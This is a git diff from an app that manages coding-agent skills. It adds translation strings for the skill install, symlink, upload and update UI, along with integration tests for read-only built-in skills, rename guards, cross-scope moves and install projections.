#: src/components/AgentDiffPane.tsx
+#: src/components/ImportSkillForm.tsx
#: src/components/LintConfigEditor.tsx
#: src/components/MermaidFileViewer.tsx
#: src/components/SchemaConfigEditor.tsx
+#: src/components/SkillPreviewTab.tsx
#: src/components/TimelineDiffPane.tsx
msgid "Source"
msgstr ""
@@ -9265,6 +9981,18 @@ msgstr ""
msgid "Stop (Esc)"
msgstr ""
+#. placeholder {0}: hostLabel(h)
+#. placeholder {1}: skill.name
+#. placeholder {2}: hostLabel(h)
+#: src/components/SkillInstallMenu.tsx
+msgid "Stop {0} reading \"{1}\"? {subRoot} will keep its other skills (as symlinks) but stop following {poolRootRel} — new skills added there won't reach {2} automatically."
+msgstr ""
+
+#. placeholder {0}: hostLabel(h)
+#: src/components/SkillInstallMenu.tsx
+msgid "Stop {0} reading this skill"
+msgstr ""
+
#: src/components/acp/ThreadView.tsx
msgid "Stopping"
msgstr ""
@@ -9281,6 +10009,10 @@ msgstr ""
msgid "Style"
msgstr ""
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "subagents"
+msgstr ""
+
#: src/components/SeedDialog.tsx
msgid "Subfolder name"
msgstr ""
@@ -9322,6 +10054,10 @@ msgstr ""
msgid "Switch and update branch"
msgstr ""
+#: src/components/FilesSkillsToggle.tsx
+msgid "Switch between Files and Skills"
+msgstr ""
+
#: src/lib/keyboard-shortcuts.ts
msgid "Switch between the visual and source editors, keeping your place."
msgstr ""
@@ -9364,14 +10100,36 @@ msgstr ""
msgid "Switching to <0>local-only</0> will refuse until they're untracked via<1> git rm --cached</1>."
msgstr ""
+#: src/components/settings/SkillTargetsPicker.tsx
+#: src/components/SkillInstallMenu.tsx
+msgid "symlink"
+msgstr ""
+
#: src/components/FileTree.tsx
msgid "Symlink"
msgstr ""
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "Symlink another folder into one of these so both agents read the same skills; unlink to manage a folder's skills one by one again."
+msgstr ""
+
#: src/components/FileTree.tsx
msgid "Symlink to {targetPath}"
msgstr ""
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "symlinked via parent"
+msgstr ""
+
+#. placeholder {0}: r.display
+#: src/components/SkillInstallMenu.tsx
+msgid "Symlinks the skill to {0}"
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Symlinks the skill to {path}"
+msgstr ""
+
#: src/components/settings/SettingsDialogShell.tsx
#: src/components/settings/SyncSection.tsx
#: src/components/SyncStatusBadge.tsx
@@ -9502,6 +10260,10 @@ msgstr ""
msgid "tag-name"
msgstr ""
+#: src/components/SkillBundlePreview.tsx
+msgid "tags"
+msgstr ""
+
#: src/components/CommandPalette.tsx
msgid "Tags matching \"{tagListQuery}\""
msgstr ""
@@ -9514,6 +10276,10 @@ msgstr ""
msgid "Take a piece of writing from a rough idea to a finished draft to something you're ready to share. Good for blog posts, essays, or anything you want to move through clear stages."
msgstr ""
+#: src/components/SkillUpdateConflictDialog.tsx
+msgid "Take upstream"
+msgstr ""
+
#: src/lib/keyboard-shortcuts.ts
msgid "Task list"
msgstr ""
@@ -9522,10 +10288,6 @@ msgstr ""
msgid "Task List"
msgstr ""
-#: src/components/NewSkillDialog.tsx
-msgid "Teach agents a repeatable task. You can edit the body after creating."
-msgstr ""
-
#. Subtext for the project runtime-skill row
#: src/components/settings/ProjectAiToolsSection.tsx
msgid "Teaches coding agents in this project to read and write through OpenKnowledge."
@@ -9547,6 +10309,10 @@ msgstr ""
msgid "Tell us what went wrong and we'll gather the logs. Nothing leaves your Mac until you've reviewed it."
msgstr ""
+#: src/components/NewSkillDialog.tsx
+msgid "Tells agents when to reach for this skill. You can edit it later."
+msgstr ""
+
#: src/components/TemplateDeleteDialog.tsx
msgid "Template \"{label}\" deleted"
msgstr ""
@@ -9631,6 +10397,7 @@ msgstr ""
msgid "Test connection"
msgstr ""
+#: src/components/ExploreSkills.tsx
#: src/components/settings/SearchSection.tsx
msgid "Testing"
msgstr ""
@@ -9678,6 +10445,14 @@ msgstr ""
msgid "The {0} download request timed out."
msgstr ""
+#: src/components/SkillForkDialog.tsx
+msgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."
+msgstr ""
+
+#: src/components/SkillForkDialog.tsx
+msgid "The {editor} version is now the source"
+msgstr ""
+
#: src/components/ShareBranchSwitchDialog.tsx
msgid "The {targetNoun} could not be opened — try navigating to it manually."
msgstr ""
@@ -9710,6 +10485,10 @@ msgstr ""
msgid "The default branch is protected — pushes need a pull request."
msgstr ""
+#: src/components/SkillProperties.tsx
+msgid "the default skills folder (the exact path appears once saved)"
+msgstr ""
+
#: src/components/InstallInClaudeDesktopDialog.tsx
msgid "The desktop app isn't responding. Refresh and try again."
msgstr ""
@@ -9735,7 +10514,6 @@ msgstr ""
msgid "The file on disk, and the id agents use."
msgstr ""
-#: src/components/NewSkillDialog.tsx
#: src/components/SkillProperties.tsx
msgid "The folder on disk and the id agents use to invoke this skill."
msgstr ""
@@ -9806,6 +10584,18 @@ msgstr ""
msgid "The schema file does not exist or failed to load — adding a field creates it."
msgstr ""
+#: src/components/SkillInstallMenu.tsx
+msgid "The skill's own folder — the source other locations copy or link from"
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "The skill's own folder ({path}) — the source other locations copy or link from"
+msgstr ""
+
+#: src/components/SkillInstallMenu.tsx
+msgid "The source folder itself does not move."
+msgstr ""
+
#: src/components/TemplateProperties.tsx
msgid "The template's filename (without `.md`)."
msgstr ""
@@ -9986,6 +10776,18 @@ msgstr ""
msgid "This folder isn't on GitHub yet. The link won't work until it's pushed."
msgstr ""
+#: src/components/SkillPreviewTab.tsx
+msgid "This is a preview of {boldName} — a built-in skill shipped with Open Knowledge. It's read-only."
+msgstr ""
+
+#: src/components/SkillPreviewTab.tsx
+msgid "This is a preview of {boldName}, detected in {boldHarness} at the {boldLevel} level."
+msgstr ""
+
+#: src/components/SkillPreviewTab.tsx
+msgid "This is a preview of {boldName}. Install it into your agents."
+msgstr ""
+
#: src/components/DeleteConfirmationDialog.tsx
msgid "this item"
msgstr ""
@@ -9998,6 +10800,13 @@ msgstr ""
msgid "This may take a moment. Your markdown content is kept."
msgstr ""
+#. placeholder {0}: scopeLabels[scope]
+#. placeholder {1}: scopeLabels[toScope]
+#. placeholder {2}: scopeLabels[toScope]
+#: src/components/SkillScopeMoveDialog.tsx
+msgid "This moves <0>{name}</0> from {0} to {1}, relocating its files on disk and re-installing it in your editors at the {2} level."
+msgstr ""
+
#: src/components/SeedDialog.tsx
msgid "This pack is already set up here."
msgstr ""
@@ -10023,6 +10832,11 @@ msgstr ""
msgid "This permanently removes {0}. Agents that invoke this skill by name will fail until it's recreated."
msgstr ""
+#. placeholder {0}: skill.path
+#: src/components/SkillDeleteDialog.tsx
+msgid "This permanently removes {0}. The plugin it was copied from is untouched — its read-only version will show up as detected again."
+msgstr ""
+
#: src/components/TemplateDeleteDialog.tsx
msgid "This permanently removes {path}. Agents that reference this template by name will fail until it's recreated or replaced by one in a parent folder."
msgstr ""
@@ -10073,15 +10887,13 @@ msgstr ""
msgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."
msgstr ""
-#. placeholder {0}: skill.bundledVersion ?? ''
-#. placeholder {1}: skill.installedVersion
-#: src/components/SkillUpdateDialog.tsx
-msgid "This replaces the current skill content with the bundled version {0} (you have {1}). Any local edits will be replaced — your current version is saved to history first, so you can restore it."
+#. placeholder {0}: caps.join(', ')
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "This repo bundles {count} skills, plus {0}. Install any of them from the plugin."
msgstr ""
-#. placeholder {0}: skill.bundledVersion ?? ''
-#: src/components/SkillUpdateDialog.tsx
-msgid "This replaces the current skill content with the bundled version {0}. Any local edits will be replaced — your current version is saved to history first, so you can restore it."
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "This repo bundles {count} skills. Install any of them from the plugin."
msgstr ""
#: src/components/acp/ThreadView.tsx
@@ -10109,6 +10921,14 @@ msgstr ""
msgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."
msgstr ""
+#: src/components/ImportSkillForm.tsx
+msgid "This source bundles several skills — choose one, then Import."
+msgstr ""
+
+#: src/components/ImportSkillForm.tsx
+msgid "This source bundles several skills — choose the one to import."
+msgstr ""
+
#: src/components/TemplateDeleteDialog.tsx
msgid "This template lives in a parent folder — deleting it affects every folder beneath it that doesn't define its own version."
msgstr ""
@@ -10239,6 +11059,10 @@ msgstr ""
msgid "Top linked pages"
msgstr ""
+#: src/components/SkillOriginInline.tsx
+msgid "Tracked in git — updates flow through your repo (pull or CI), not auto-update"
+msgstr ""
+
#: src/lib/keyboard-shortcuts.ts
msgid "Traverse OpenKnowledge navigation history backward."
msgstr ""
@@ -10264,6 +11088,15 @@ msgstr ""
msgid "Try again"
msgstr ""
+#. placeholder {0}: scope === 'global' ? `~/${o.root}` : o.root
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "Turn {0} back into a real directory holding a per-skill symlink for each skill it currently sees — nothing stops working, and each skill's menu manages it from there."
+msgstr ""
+
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "Turn {display} back into a real directory holding a per-skill symlink for each skill it currently sees — nothing stops working, and each skill's menu manages it from there."
+msgstr ""
+
#: src/components/NotInSidebarIndicator.tsx
msgid "Turn off Only markdown files"
msgstr ""
@@ -10289,6 +11122,11 @@ msgstr ""
msgid "Turn the things you read into clear, trusted articles. Save a source, figure out what it means, then keep the final version so you can rely on it later."
msgstr ""
+#. placeholder {0}: skill.name
+#: src/components/SkillForkDialog.tsx
+msgid "Two versions of \"{0}\" — source vs {editor}"
+msgstr ""
+
#: src/editor/components/Pdf.tsx
msgid "Two-page (even)"
msgstr ""
@@ -10368,14 +11206,6 @@ msgstr ""
msgid "Undo, redo, or step through selection changes in the Edit source pane or a code-shaped property field."
msgstr ""
-#: src/components/skill-actions.tsx
-msgid "Uninstall"
-msgstr ""
-
-#: src/components/SkillEditorActions.tsx
-msgid "Uninstall everywhere"
-msgstr ""
-
#: src/uninstall/UninstallPickerScreen.tsx
msgid "Uninstall OpenKnowledge"
msgstr ""
@@ -10412,6 +11242,10 @@ msgstr ""
msgid "Unknown error"
msgstr ""
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "unlink"
+msgstr ""
+
#: src/editor/slash-command/items.tsx
msgid "Unordered list of items."
msgstr ""
@@ -10436,26 +11270,21 @@ msgstr ""
msgid "Up to date"
msgstr ""
-#: src/components/SkillUpdateDialog.tsx
+#: src/components/SkillOriginInline.tsx
msgid "Update"
msgstr ""
-#. placeholder {0}: skillDisplayName(skill.name)
-#: src/components/SkillUpdateDialog.tsx
-msgid "Update \"{0}\"?"
-msgstr ""
-
-#: src/components/SkillsSidebarSection.tsx
-msgid "Update available"
+#: src/components/SkillUpdateConflictDialog.tsx
+msgid "Update \"{skillName}\" over your edits?"
msgstr ""
-#. placeholder {0}: skill.bundledVersion ? ` (${skill.bundledVersion})` : ''
-#: src/components/SkillsSidebarSection.tsx
-msgid "Update available{0}"
+#. placeholder {0}: result.error
+#: src/hooks/use-skill-origin.ts
+msgid "Update failed: {0}"
msgstr ""
-#: src/components/skill-actions.tsx
-msgid "Update skill"
+#: src/components/SkillOriginInline.tsx
+msgid "Update from source"
msgstr ""
#: src/editor/extensions/InternalLinkPropPanel.tsx
@@ -10469,14 +11298,9 @@ msgstr ""
msgid "Updated \"{0}\": added {1}, removed {2}"
msgstr ""
-#. placeholder {0}: result.version
-#: src/components/SkillUpdateDialog.tsx
-msgid "Updated \"{display}\" to {0} — your previous version is in history if you need to restore it."
-msgstr ""
-
-#. placeholder {0}: result.version
-#: src/components/SkillUpdateDialog.tsx
-msgid "Updated \"{display}\" to {0}."
+#. placeholder {0}: result.source
+#: src/hooks/use-skill-origin.ts
+msgid "Updated \"{name}\" from {0}"
msgstr ""
#: src/components/SyncStatusBadge.tsx
@@ -10495,15 +11319,29 @@ msgstr ""
msgid "Updates flow in"
msgstr ""
-#: src/components/SkillUpdateDialog.tsx
+#: src/components/SkillOriginInline.tsx
+msgid "Updates from the source apply automatically (unless edited locally)"
+msgstr ""
+
+#: src/components/SkillOriginInline.tsx
+#: src/components/SkillUpdateConflictDialog.tsx
#: src/components/SyncStatusBadge.tsx
msgid "Updating"
msgstr ""
+#: src/components/ImportSkillDialog.tsx
+#: src/components/ImportSkillForm.tsx
+msgid "Upload"
+msgstr ""
+
#: src/components/PageHeaderWidgets.tsx
msgid "Upload {keyName}"
msgstr ""
+#: src/components/SkillsBasePage.tsx
+msgid "Upload a skill"
+msgstr ""
+
#: src/editor/image-upload/index.ts
msgid "Upload failed"
msgstr ""
@@ -10512,6 +11350,11 @@ msgstr ""
msgid "Upload failed — please try again"
msgstr ""
+#. placeholder {0}: result.error
+#: src/components/ImportSkillForm.tsx
+msgid "Upload failed: {0}"
+msgstr ""
+
#: src/editor/components/PropPanel.tsx
msgid "Upload failed: {message}"
msgstr ""
@@ -10524,6 +11367,22 @@ msgstr ""
msgid "Upload may have succeeded but the sidebar is out of date — refresh to resync"
msgstr ""
+#: src/components/SkillsSidebarSection.tsx
+msgid "Upload skill"
+msgstr ""
+
+#. placeholder {0}: result.name
+#: src/lib/skill-import-toast.ts
+msgid "Uploaded \"{0}\"."
+msgstr ""
+
+#. placeholder {0}: result.name
+#. placeholder {1}: result.collisionRenamedFrom
+#: src/lib/skill-import-toast.ts
+msgid "Uploaded as \"{0}\" — the name \"{1}\" was taken."
+msgstr ""
+
+#: src/components/ImportSkillForm.tsx
#: src/editor/components/PropPanel.tsx
msgid "Uploading"
msgstr ""
@@ -10548,6 +11407,10 @@ msgstr ""
msgid "Upstream sync"
msgstr ""
+#: src/components/SkillForkDialog.tsx
+msgid "Use {editor} version"
+msgstr ""
+
#: src/components/ShareButton.tsx
msgid "Use <0>{copyShortcut}</0> to copy the link below, or open OK in the desktop app."
msgstr ""
@@ -10556,6 +11419,11 @@ msgstr ""
msgid "Use a folder you already have."
msgstr ""
+#: src/components/SkillFileCreateDialog.tsx
+#: src/components/SkillFileRenameDialog.tsx
+msgid "Use a relative path inside the skill (no .., no spaces; SKILL.md is managed)."
+msgstr ""
+
#: src/components/EmptyEditorState.tsx
msgid "Use a starter pack"
msgstr ""
@@ -10582,7 +11450,7 @@ msgid "Use lowercase letters, digits, and <0>-</0> only."
msgstr ""
#: src/components/NewSkillDialog.tsx
-msgid "Use lowercase letters, digits, and hyphens only."
+msgid "Use lowercase letters, numbers, and hyphens only"
msgstr ""
#: src/components/settings/ScopeBadge.tsx
@@ -10623,11 +11491,19 @@ msgstr ""
msgid "via {viaTags}"
msgstr ""
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "via parent"
+msgstr ""
+
#: src/components/AppMenubar.tsx
#: src/components/CommandPalette.tsx
msgid "View"
msgstr ""
+#: src/components/SkillDirectoryCard.tsx
+msgid "View {name}"
+msgstr ""
+
#: src/components/AssetPreview.tsx
msgid "View as text"
msgstr ""
@@ -10644,6 +11520,10 @@ msgstr ""
msgid "View in source markdown"
msgstr ""
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "View plugin"
+msgstr ""
+
#: src/components/PublishToGitHubDialog.tsx
msgid "Visibility"
msgstr ""
@@ -10717,10 +11597,6 @@ msgstr ""
msgid "We've filed it with the team and attached your logs."
msgstr ""
-#: src/components/NewSkillDialog.tsx
-msgid "What agents match on to decide when to use the skill."
-msgstr ""
-
#: src/components/ConfigSharingInfoTooltip.tsx
msgid "What config sharing covers"
msgstr ""
@@ -10737,10 +11613,18 @@ msgstr ""
msgid "What happened?"
msgstr ""
+#: src/components/ImportSkillForm.tsx
+msgid "What happens next"
+msgstr ""
+
#: src/components/EmptyEditorState.tsx
msgid "What is a starter pack?"
msgstr ""
+#: src/components/SkillInstallMenu.tsx
+msgid "What is the difference between copies and symlinks?"
+msgstr ""
+
#: src/components/PublishToGitHubDialog.tsx
msgid "What is this knowledge base for?"
msgstr ""
@@ -10802,6 +11686,10 @@ msgstr ""
msgid "Where should it live?"
msgstr ""
+#: src/components/ImportSkillForm.tsx
+msgid "Which skill"
+msgstr ""
+
#: src/components/settings/markdownlint-rule-browser.tsx
msgid "Whitespace"
msgstr ""
@@ -10950,6 +11838,10 @@ msgstr ""
msgid "You don't have write access to this repo."
msgstr ""
+#: src/components/SkillUpdateConflictDialog.tsx
+msgid "You edited this skill locally and the source has new changes. Taking upstream replaces your version; your edits stay recoverable in version history."
+msgstr ""
+
#: src/components/DiffViewBoundary.tsx
msgid "You modified <0>{filePath}</0> locally, but it was deleted upstream."
msgstr ""
@@ -11061,6 +11953,14 @@ msgstr ""
msgid "Your share link is ready below."
msgstr ""
+#: src/components/settings/SkillsManagerSection.tsx
+msgid "Your user-level skill folders — available in every project on this machine. Each skill's install menu controls where it lives."
+msgstr ""
+
+#: src/components/ImportSkillForm.tsx
+msgid "Zip file"
+msgstr ""
+
#: src/editor/components/Mermaid.tsx
#: src/editor/components/Pdf.tsx
msgid "Zoom in"
diff --git a/packages/app/tests/integration/api-error-envelope/skill-builtin-global-readonly.test.ts b/packages/app/tests/integration/api-error-envelope/skill-builtin-global-readonly.test.ts
new file mode 100644
index 000000000..af9c21aa9
--- /dev/null
+++ b/packages/app/tests/integration/api-error-envelope/skill-builtin-global-readonly.test.ts
@@ -0,0 +1,96 @@
+/**
+ * Integration coverage for OK's user-global built-in skills
+ * (`open-knowledge-discovery`, `open-knowledge-write-skill`) being surfaced
+ * READ-ONLY through the skills API.
+ *
+ * Like the project built-in, these are force-installed into the editor host
+ * dirs (`<home>/.claude/skills/<name>/`), NOT `<home>/.ok/skills`, and the
+ * detected-skills scan filters OK's reserved `open-knowledge*` names — so
+ * without explicit surfacing they are invisible in the Skills UI. These tests
+ * fake the on-disk global projection under an isolated home and assert:
+ * - `GET /api/skills` lists each as a `managed`, `scope: 'global'` entry.
+ * - `GET /api/skill?scope=global` serves its SKILL.md read-only.
+ *
+ * Home is overridden to a tempdir so the assertions don't depend on whatever
+ * the developer has installed in their real `~/.claude/skills`.
+ */
+
+import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import {
+ OPENKNOWLEDGE_SKILLS_REPO,
+ SkillGetSuccessSchema,
+ SkillsListSuccessSchema,
+} from '@inkeep/open-knowledge-core';
+import { afterAll, beforeAll, describe, expect, test } from 'vitest';
+import { HARNESS_BOOT_TIMEOUT_MS } from '../harness-boot-timeout';
+import { createTestServer, type TestServer } from '../test-harness';
+
+let server: TestServer;
+let homeDir: string;
+const base = () => `http://127.0.0.1:${server.port}`;
+
+const GLOBAL_BUILTINS = [
+ {
+ name: 'open-knowledge-discovery',
+ description: 'What OpenKnowledge is and how to install it.',
+ },
+ {
+ name: 'open-knowledge-write-skill',
+ description: 'Author a new Agent Skill.',
+ },
+] as const;
+
+beforeAll(async () => {
+ homeDir = mkdtempSync(join(tmpdir(), 'ok-global-builtin-'));
+ // Fake the on-disk editor projection the user-global reclaim installs.
+ for (const { name, description } of GLOBAL_BUILTINS) {
+ const dir = join(homeDir, '.claude', 'skills', name);
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(
+ join(dir, 'SKILL.md'),
+ `---\nname: ${name}\ndescription: ${description}\n---\n\n# ${name}\n\nBuilt-in.\n`,
+ 'utf-8',
+ );
+ }
+ server = await createTestServer({ configHomedirOverride: homeDir });
+}, HARNESS_BOOT_TIMEOUT_MS);
+
+afterAll(async () => {
+ await server.cleanup();
+ rmSync(homeDir, { recursive: true, force: true });
+});
+
+describe('built-in global open-knowledge skills: read-only surfacing', () => {
+ test('GET /api/skills lists each as a managed global entry', async () => {
+ const res = await fetch(`${base()}/api/skills`);
+ expect(res.status).toBe(200);
+ const parsed = SkillsListSuccessSchema.safeParse(await res.json());
+ expect(parsed.success).toBe(true);
+ if (!parsed.success) return;
+ for (const { name, description } of GLOBAL_BUILTINS) {
+ const entry = parsed.data.skills.find((s) => s.name === name);
+ expect(entry).toBeDefined();
+ expect(entry?.managed).toBe(true);
+ expect(entry?.scope).toBe('global');
+ expect(entry?.installed).toBe(true);
+ expect(entry?.hosts).toContain('claude');
+ expect(entry?.description).toBe(description);
+ // skills.sh origin, manual-update only (never auto-pulled).
+ expect(entry?.origin?.source).toBe(OPENKNOWLEDGE_SKILLS_REPO);
+ expect(entry?.origin?.skill).toBe(name);
+ expect(entry?.origin?.autoUpdate).toBe(false);
+ }
+ });
+
+ test('GET /api/skill?scope=global serves the body read-only', async () => {
+ const res = await fetch(`${base()}/api/skill?name=open-knowledge-discovery&scope=global`);
+ expect(res.status).toBe(200);
+ const parsed = SkillGetSuccessSchema.safeParse(await res.json());
+ expect(parsed.success).toBe(true);
+ if (!parsed.success) return;
+ expect(parsed.data.skill.managed).toBe(true);
+ expect(parsed.data.skill.body).toContain('Built-in.');
+ });
+});
diff --git a/packages/app/tests/integration/api-error-envelope/skill-builtin-readonly.test.ts b/packages/app/tests/integration/api-error-envelope/skill-builtin-readonly.test.ts
index f95b40bac..9a858283d 100644
--- a/packages/app/tests/integration/api-error-envelope/skill-builtin-readonly.test.ts
+++ b/packages/app/tests/integration/api-error-envelope/skill-builtin-readonly.test.ts
@@ -15,9 +15,10 @@
* - a refused DELETE leaves the on-disk file intact.
*/
-import { existsSync, mkdirSync, writeFileSync } from 'node:fs';
+import { mkdirSync, writeFileSync } from 'node:fs';
import { join } from 'node:path';
import {
+ OPENKNOWLEDGE_SKILLS_REPO,
ProblemDetailsSchema,
SkillGetSuccessSchema,
SkillsListSuccessSchema,
@@ -70,6 +71,11 @@ describe('built-in open-knowledge skill: read-only surfacing', () => {
expect(entry?.installed).toBe(true);
expect(entry?.hosts).toContain('claude');
expect(entry?.description).toBe('The OpenKnowledge project skill agents load for this KB.');
+ // Built-ins carry a skills.sh origin (repo link + manual update path), and
+ // are manual-update only — never silently re-pulled on a shared project.
+ expect(entry?.origin?.source).toBe(OPENKNOWLEDGE_SKILLS_REPO);
+ expect(entry?.origin?.skill).toBe('open-knowledge');
+ expect(entry?.origin?.autoUpdate).toBe(false);
});
test('GET /api/skill serves its body + references from the host dir', async () => {
@@ -121,22 +127,40 @@ describe('built-in open-knowledge skill: read-only surfacing', () => {
await expectReserved(res);
});
- test('POST /api/skill rename is refused', async () => {
- const res = await fetch(`${base()}/api/skill`, {
+ test('rename TO a runtime name is refused (squat guard); rename FROM is an ordinary fork-away', async () => {
+ // Squat: nothing may take a runtime skill's name.
+ const squat = await fetch(`${base()}/api/skill`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify({ scope: 'project', fromName: 'open-knowledge', toName: 'my-skill' }),
+ body: JSON.stringify({ scope: 'project', fromName: 'authored', toName: 'open-knowledge' }),
});
- await expectReserved(res);
- });
+ // 400 reserved (or 409 exists) — either way the name is untakeable.
+ expect([400, 409]).toContain(squat.status);
- test('POST /api/skill/install is refused', async () => {
- const res = await fetch(`${base()}/api/skill/install`, {
+ // Lifecycle is ORDINARY: renaming AWAY from the runtime name succeeds
+ // (fork-away; the seeded original returns via seed/reimport).
+ const away = await fetch(`${base()}/api/skill`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify({ scope: 'project', name: 'open-knowledge' }),
+ body: JSON.stringify({
+ scope: 'project',
+ fromName: 'open-knowledge',
+ toName: 'my-own-guide',
+ }),
});
- await expectReserved(res);
+ expect(away.status).toBe(200);
+ // Restore the fixture for later tests: rename back is REFUSED by the squat
+ // guard, so recreate the original on disk directly.
+ const restored = await fetch(`${base()}/api/skill`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ scope: 'project',
+ fromName: 'my-own-guide',
+ toName: 'open-knowledge',
+ }),
+ });
+ expect([400, 409]).toContain(restored.status);
});
test('PUT /api/skill-file is refused', async () => {
@@ -153,11 +177,10 @@ describe('built-in open-knowledge skill: read-only surfacing', () => {
await expectReserved(res);
});
- test('DELETE /api/skill is refused and leaves the on-disk file intact', async () => {
- const res = await fetch(`${base()}/api/skill?name=open-knowledge&scope=project`, {
+ test('DELETE /api/skill succeeds — lifecycle is ordinary (content is what is protected)', async () => {
+ const res = await fetch(`${base()}/api/skill?name=my-own-guide&scope=project`, {
method: 'DELETE',
});
- await expectReserved(res);
- expect(existsSync(builtinSkillMd)).toBe(true);
+ expect(res.status).toBe(200);
});
});
diff --git a/packages/app/tests/integration/api-error-envelope/skill-cross-scope-move-uninstall.test.ts b/packages/app/tests/integration/api-error-envelope/skill-cross-scope-move-uninstall.test.ts
index 928cb2940..e13e85c6a 100644
--- a/packages/app/tests/integration/api-error-envelope/skill-cross-scope-move-uninstall.test.ts
+++ b/packages/app/tests/integration/api-error-envelope/skill-cross-scope-move-uninstall.test.ts
@@ -27,6 +27,9 @@ import { createTestServer, type TestServer } from '../test-harness';
let server: TestServer;
let tmpHome: string;
const base = () => `http://127.0.0.1:${server.port}`;
+// Default skill home per base (existence-activated `.agents`, else `.claude`).
+const skillsRootIn = (b: string) =>
+ existsSync(join(b, '.agents')) ? join(b, '.agents', 'skills') : join(b, '.claude', 'skills');
/** The editors a project install fans out to (claude + cursor + codex). */
const EDITORS = ['claude', 'cursor', 'codex'] as const;
@@ -58,11 +61,11 @@ const installSkill = (scope: 'global' | 'project', name: string, targets: readon
body: JSON.stringify({ scope, name, targets }),
});
-/** Source skills root for a scope (where `.ok/skills/<name>/` lives). */
+/** Source skill dir for a scope — creates land at the default skill home (`.claude/skills` in a fresh tree; store retirement). */
const skillSrc = (scope: 'global' | 'project', name: string) =>
scope === 'global'
- ? join(tmpHome, '.ok', 'skills', name)
- : join(server.contentDir, '.ok', 'skills', name);
+ ? join(skillsRootIn(tmpHome), name)
+ : join(skillsRootIn(server.contentDir), name);
/** Editor-host projection dir for a scope×editor (the install base differs). */
const projectionDir = (
@@ -82,9 +85,17 @@ const projectionDir = (
* — a moved skill lands as a Draft to re-install for its new scope, so any
* surviving SOURCE-scope projection is a true orphan.
*/
-async function moveCrossScope(from: 'global' | 'project', to: 'global' | 'project', name: string) {
- expect((await putSkill(to, name)).status).toBe(200);
+async function moveCrossScope(
+ from: 'global' | 'project',
+ to: 'global' | 'project',
+ name: string,
+): Promise<string> {
+ const put = await putSkill(to, name);
+ expect(put.status).toBe(200);
+ const payload = (await put.json()) as { path: string };
expect((await delSkill(from, name)).status).toBe(200);
+ // The destination's REAL dir (creates land at the default skill home).
+ return payload.path.replace(/\/SKILL\.md$/, '');
}
beforeAll(async () => {
@@ -159,17 +170,21 @@ describe('cross-scope move removes the SOURCE projections in both directions', (
expect(existsSync(join(projectionDir('global', e, N), 'SKILL.md'))).toBe(true);
}
- await moveCrossScope('global', 'project', N);
+ const destPath = await moveCrossScope('global', 'project', N);
// Every global-scope source projection is torn down (no orphans).
for (const e of EDITORS) {
expect(existsSync(projectionDir('global', e, N))).toBe(false);
}
- // Source dir gone; destination exists as an un-projected Draft.
+ // Source dir gone; destination exists (at the server-reported real path).
expect(existsSync(skillSrc('global', N))).toBe(false);
- expect(existsSync(join(skillSrc('project', N), 'SKILL.md'))).toBe(true);
+ expect(existsSync(join(server.contentDir, destPath, 'SKILL.md'))).toBe(true);
for (const e of EDITORS) {
- expect(existsSync(projectionDir('project', e, N))).toBe(false);
+ const dir = projectionDir('project', e, N);
+ // In-place model: the destination default home may BE an editor's dir —
+ // that occurrence is the skill itself, not a stale projection.
+ if (dir === join(server.contentDir, destPath)) continue;
+ expect(existsSync(dir)).toBe(false);
}
});
});
diff --git a/packages/app/tests/integration/api-error-envelope/skill-install.test.ts b/packages/app/tests/integration/api-error-envelope/skill-install.test.ts
index e472e4218..5628cdc6c 100644
--- a/packages/app/tests/integration/api-error-envelope/skill-install.test.ts
+++ b/packages/app/tests/integration/api-error-envelope/skill-install.test.ts
@@ -42,10 +42,14 @@ const installSkill = (body: Record<string, unknown>) =>
const hostSkillMd = (editorRoot: string, name: string) =>
join(server.contentDir, editorRoot, 'skills', name, 'SKILL.md');
-const markerPath = () => join(server.contentDir, '.ok', 'local', 'installed-skills.json');
beforeAll(async () => {
server = await createTestServer();
+ // Store retirement: skills author IN-PLACE. Seed the vendor-neutral `.agents`
+ // hub as the default authoring home so a fresh skill lands there (not directly
+ // into an editor dir like `.claude`), preserving the author → install-into-
+ // editors distinction these lifecycle assertions rely on.
+ mkdirSync(join(server.contentDir, '.agents', 'skills'), { recursive: true });
}, HARNESS_BOOT_TIMEOUT_MS);
afterAll(async () => {
await server.cleanup();
@@ -64,17 +68,12 @@ describe('skill install-projection lifecycle', () => {
expect(parsed.data.scripts).toBe(false);
}
- // Verbatim projections exist in each host dir.
+ // Store retirement: the on-disk projections ARE the truth (the scan, not the
+ // install marker, owns the host set for an in-place skill) — verbatim copies
+ // exist in each editor host dir.
expect(existsSync(hostSkillMd('.claude', 'trip-log'))).toBe(true);
expect(existsSync(hostSkillMd('.cursor', 'trip-log'))).toBe(true);
expect(readFileSync(hostSkillMd('.claude', 'trip-log'), 'utf-8')).toContain('# Steps');
-
- // marker records the install.
- const marker = JSON.parse(readFileSync(markerPath(), 'utf-8')) as {
- skills: Record<string, { hosts: string[]; scope: string }>;
- };
- expect(marker.skills['trip-log']?.hosts.sort()).toEqual(['claude', 'cursor']);
- expect(marker.skills['trip-log']?.scope).toBe('project');
});
test('delete reverse-projects (uninstall) + drops the marker entry', async () => {
@@ -82,23 +81,14 @@ describe('skill install-projection lifecycle', () => {
method: 'DELETE',
});
expect(res.status).toBe(200);
+ // Delete reverse-projects: the editor host-dir copies are gone (disk truth).
